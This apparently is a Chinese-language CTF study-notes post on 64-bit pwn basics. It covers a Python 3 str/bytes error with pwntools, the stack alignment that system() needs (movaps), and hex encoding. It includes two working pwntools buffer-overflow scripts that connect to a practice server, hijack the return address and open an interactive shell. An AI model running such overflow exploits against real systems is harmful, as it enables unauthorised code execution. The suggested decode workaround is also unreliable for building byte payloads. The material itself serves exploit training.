0%

刷题知识点总结1-1

python3进行编译此条代码会出现报错:

1
payload = 'a' * 4 + p64(1853186401)

报错信息:

1
2
3
  File "mex.py", line 4, in <module>
payload = 'a'*4 + p64(1853186401)
TypeError: can only concatenate str (not "bytes") to str

报错翻译——字符类型不匹配不能进行拼接。

百度搜索相关资料,找到解决方法—添加后缀(**.decode(“iso-8859-1”)**)进行转码。

1
payload = 'a'*4 + p64(1853186401).decode("iso-8859-1")

1
payload = 'a' * 23 + p64(0x401185).decode("iso-8859-1") + p64(0x401186).decode("iso-8859-1");

要使用额外地址的原因是栈地址需要对齐才能执行system。

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

解决方法:

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401186+1)+p64(0)#加1去跳过一个栈操作指令,使其对齐16字节
#p.recvuntil("please input")#这里用recvuntil会报连接超时,因为nc上去发现服务器那边的程序上没有打印这句话
p.sendline(payload)
p.interactive()
1
2
3
4
5
from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401016)+p64(0x401186)+p64(0)#0x401016是一个ret指令, p64(0)是system函数的返回地址
p.sendline(payload)
p.interactive()

p32、p64所做的是,将一个整形数据进行hex转换后,将这个进行转换成byte型,并进行小段输入。

Hex

1
2
3
4
5
Hex就是16进制,本质上是将字节数组转化为16进制,然后用字符串的形式表现出来。

原理:一个8bit的数据,也就是(xxxx xxxx),每4个bit可以转化为一个16进制表示,也就是8个bit会转化为(00-ff)之间的16进制数字。

hex编码 :指将数据编码16进制字符串;hex解码:指16进制字符串解码为数据。